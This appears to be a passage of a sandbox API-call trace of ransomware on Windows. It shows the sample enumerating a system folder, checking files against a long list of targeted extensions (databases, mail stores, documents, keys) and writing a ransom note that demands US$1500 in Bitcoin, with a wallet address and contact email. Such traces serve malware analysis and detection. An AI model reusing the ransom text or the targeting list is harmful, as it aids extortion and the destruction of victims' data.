[0103.227] lstrcmpA (lpString1=".", lpString2="c57ad67f3f9376f201236b8743f41043") returned -1 [0103.227] lstrcmpA (lpString1="..", lpString2="c57ad67f3f9376f201236b8743f41043") returned -1 [0103.227] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.227] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="c57ad67f3f9376f201236b8743f41043" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043" [0103.227] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043") returned 100 [0103.227] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ba0b380, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4ba0b380, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4ba0b380, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.228] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.228] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ba0b380, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4ba0b380, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4ba0b380, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.228] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.228] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.228] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b9e5220, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4b9e5220, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4b9e5220, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.228] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.228] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll") returned -1 [0103.229] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll") returned -1 [0103.229] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll") returned -1 [0103.229] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\*.*") returned="*.*" [0103.229] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\" [0103.229] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\") returned="" [0103.229] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\HOW TO DECRYPT FILES.txt" [0103.229] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\c57ad67f3f9376f201236b8743f41043\\how to decrypt files.txt")) returned 0xffffffff [0103.229] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\c57ad67f3f9376f201236b8743f41043\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.233] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.233] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.235] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.235] CloseHandle (hObject=0x90) returned 1 [0103.236] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll" [0103.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0103.236] lstrlenA (lpString="*.ems") returned 5 [0103.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0103.236] lstrlenA (lpString="*.db") returned 4 [0103.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.236] lstrlenA (lpString="*.dbf") returned 5 [0103.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0103.236] lstrlenA (lpString="*.myox") returned 6 [0103.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0103.236] lstrlenA (lpString="*.myo") returned 5 [0103.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.236] lstrlenA (lpString="*.qbw") returned 5 [0103.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.236] lstrlenA (lpString="*.qbb") returned 5 [0103.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.236] lstrlenA (lpString="*.qbm") returned 5 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.237] lstrlenA (lpString="*.qbo") returned 5 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.237] lstrlenA (lpString="*.qbx") returned 5 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0103.237] lstrlenA (lpString="*.qba") returned 5 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0103.237] lstrlenA (lpString="*.qby") returned 5 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.237] lstrlenA (lpString="*.qbj") returned 5 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.237] lstrlenA (lpString="*.ofx") returned 5 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0103.237] lstrlenA (lpString="*.qif") returned 5 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0103.237] lstrlenA (lpString="*.mye") returned 5 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.237] lstrlenA (lpString="*.mbox") returned 6 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.237] lstrlenA (lpString="*.eml") returned 5 [0103.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0103.238] lstrlenA (lpString="*.pst") returned 5 [0103.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0103.238] lstrlenA (lpString="*.ost") returned 5 [0103.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0103.238] lstrlenA (lpString="*.idx") returned 5 [0103.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.238] lstrlenA (lpString="*.dbx") returned 5 [0103.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0103.239] lstrlenA (lpString="*.sql") returned 5 [0103.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.239] lstrlenA (lpString="*.mdb") returned 5 [0103.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.239] lstrlenA (lpString="*.fdb") returned 5 [0103.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0103.239] lstrlenA (lpString="*.wab") returned 5 [0103.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0103.239] lstrlenA (lpString="*.dat") returned 5 [0103.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0103.239] lstrlenA (lpString="*.txt") returned 5 [0103.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.239] lstrlenA (lpString="*.jpeg") returned 6 [0103.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.239] lstrlenA (lpString="*.jpg") returned 5 [0103.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0103.239] lstrlenA (lpString="*.png") returned 5 [0103.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0103.240] lstrlenA (lpString="*.php") returned 5 [0103.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0103.240] lstrlenA (lpString="*.cs") returned 4 [0103.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.240] lstrlenA (lpString="*.cpp") returned 5 [0103.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0103.240] lstrlenA (lpString="*.rar") returned 5 [0103.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0103.240] lstrlenA (lpString="*.zip") returned 5 [0103.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0103.240] lstrlenA (lpString="*.html") returned 6 [0103.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0103.240] lstrlenA (lpString="*.htm") returned 5 [0103.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.240] lstrlenA (lpString="*.xlsx") returned 6 [0103.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0103.241] lstrlenA (lpString="*.xls") returned 5 [0103.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.241] lstrlenA (lpString="*.mp4") returned 5 [0103.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.241] lstrlenA (lpString="*.ppt") returned 5 [0103.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.241] lstrlenA (lpString="*.pptx") returned 6 [0103.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0103.241] lstrlenA (lpString="*.doc") returned 5 [0103.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0103.241] lstrlenA (lpString="*.dot") returned 5 [0103.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0103.241] lstrlenA (lpString="*.docx") returned 6 [0103.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0103.241] lstrlenA (lpString="*.7z") returned 4 [0103.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0103.241] lstrlenA (lpString="*.tar") returned 5 [0103.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.242] lstrlenA (lpString="*.bz2") returned 5 [0103.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0103.242] lstrlenA (lpString="*.gz") returned 4 [0103.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.242] lstrlenA (lpString="*.mkv") returned 5 [0103.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.242] lstrlenA (lpString="*.eml") returned 5 [0103.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0103.242] lstrlenA (lpString="*.msg") returned 5 [0103.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0103.242] lstrlenA (lpString="*.edb") returned 5 [0103.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.242] lstrlenA (lpString="*.accdb") returned 7 [0103.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0103.242] lstrlenA (lpString="*.odb") returned 5 [0103.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0103.243] lstrlenA (lpString="*.java") returned 6 [0103.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0103.243] lstrlenA (lpString="*.asm") returned 5 [0103.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.243] lstrlenA (lpString="*.pfx") returned 5 [0103.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0103.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0103.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\c57ad67f3f9376f201236b8743f41043\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.244] PathMatchSpecA 